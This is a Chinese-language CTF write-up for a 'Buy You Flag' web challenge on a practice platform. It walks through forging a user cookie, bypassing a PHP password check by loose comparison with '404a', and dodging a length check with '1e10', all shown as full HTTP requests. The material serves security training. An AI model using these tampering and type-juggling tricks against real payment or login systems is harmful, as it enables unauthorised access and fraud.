打开网页，发现右手边的菜单中有个 PAYFLAG，打开后跳转到 pay.php 中，其中网页源代码有提示，主要内容如下：
If you want to buy the FLAG:
You must be a student from CUIT!!!
You must be answer the correct password!!!
Only Cuit's students can buy the FLAG
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
查看 pay.php 的请求包，如下，可以发现，Cookie 中存在一个 user，配合提示，可以得知需要将 user 改为 1，并且 POST $password 需要通过非数字检查，并且又要与 404 相等，最后还需要 POST $money。
GET /pay.php HTTP/1.1
Host: 22eb0fcf-632a-4db3-ad90-4907eb86fb56.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=0
Connection: close
此时，可以将 $password 设置为 404a，这样可以通过非数字检查，又可以利用弱比较，通过与 404 相等的检查，请求包与响应包如下。
POST /pay.php HTTP/1.1
Host: 22eb0fcf-632a-4db3-ad90-4907eb86fb56.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
password=404a&money=100000000
HTTP/1.1 200 OK
Server: openresty
Date: Mon, 30 Oct 2023 15:45:43 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 2477
Connection: close
X-Powered-By: PHP/5.3.3
<!DOCTYPE HTML>
<html>
<head>
<title>Buy You Flag</title>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<!--[if lte IE 8]><script src="assets/js/ie/html5shiv.js"></script><![endif]-->
<link rel="stylesheet" href="assets/css/main.css" />
<!--[if lte IE 8]><link rel="stylesheet" href="assets/css/ie8.css" /><![endif]-->
<!--[if lte IE 9]><link rel="stylesheet" href="assets/css/ie9.css" /><![endif]-->
</head>
<body>
<!-- Page Wrapper -->
<div id="page-wrapper">
<!-- Header -->
<header id="header">
<h1><a href="index.php">Syclover</a></h1>
<nav id="nav">
<ul>
<li class="special">
<a href="#menu" class="menuToggle"><span>Menu</span></a>
<div id="menu">
<ul>
<li><a href="index.php">Home</a></li>
<li><a href="pay.php">PayFlag</a></li>
</ul>
</div>
</li>
</ul>
</nav>
</header>
<!-- Main -->
<article id="main">
<header>
<h2>Flag</h2>
<p>Flag need your 100000000 money</p>
</header>
<section class="wrapper style5">
<div class="inner">
<h3>attention</h3>
<p>If you want to buy the FLAG:</br>
You must be a student from CUIT!!!</br>
You must be answer the correct password!!!
</p>
<hr />
<p>
you are Cuiter</br>Password Right!</br>Nember lenth is too long</br>
</p>
<hr />
</div>
</section>
</article>
<!-- Footer -->
<footer id="footer">
<ul class="copyright">
<li>© Syclover</li><li>Design: Cl4y</li>
</ul>
</footer>
</div>
<!-- Scripts -->
<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/jquery.scrollex.min.js"></script>
<script src="assets/js/jquery.scrolly.min.js"></script>
<script src="assets/js/skel.min.js"></script>
<script src="assets/js/util.js"></script>
<!--[if lte IE 8]><script src="assets/js/ie/respond.min.js"></script><![endif]-->
<script src="assets/js/main.js"></script>
</body>
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
-->
</html>
响应包中提示：Nember lenth is too long，提示输入的 $money 长度过长，那么可以用指数表示法来绕过长度检测：$money = 1e10，请求包如下。
POST /pay.php HTTP/1.1
Host: 22eb0fcf-632a-4db3-ad90-4907eb86fb56.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
password=404a&money=1e10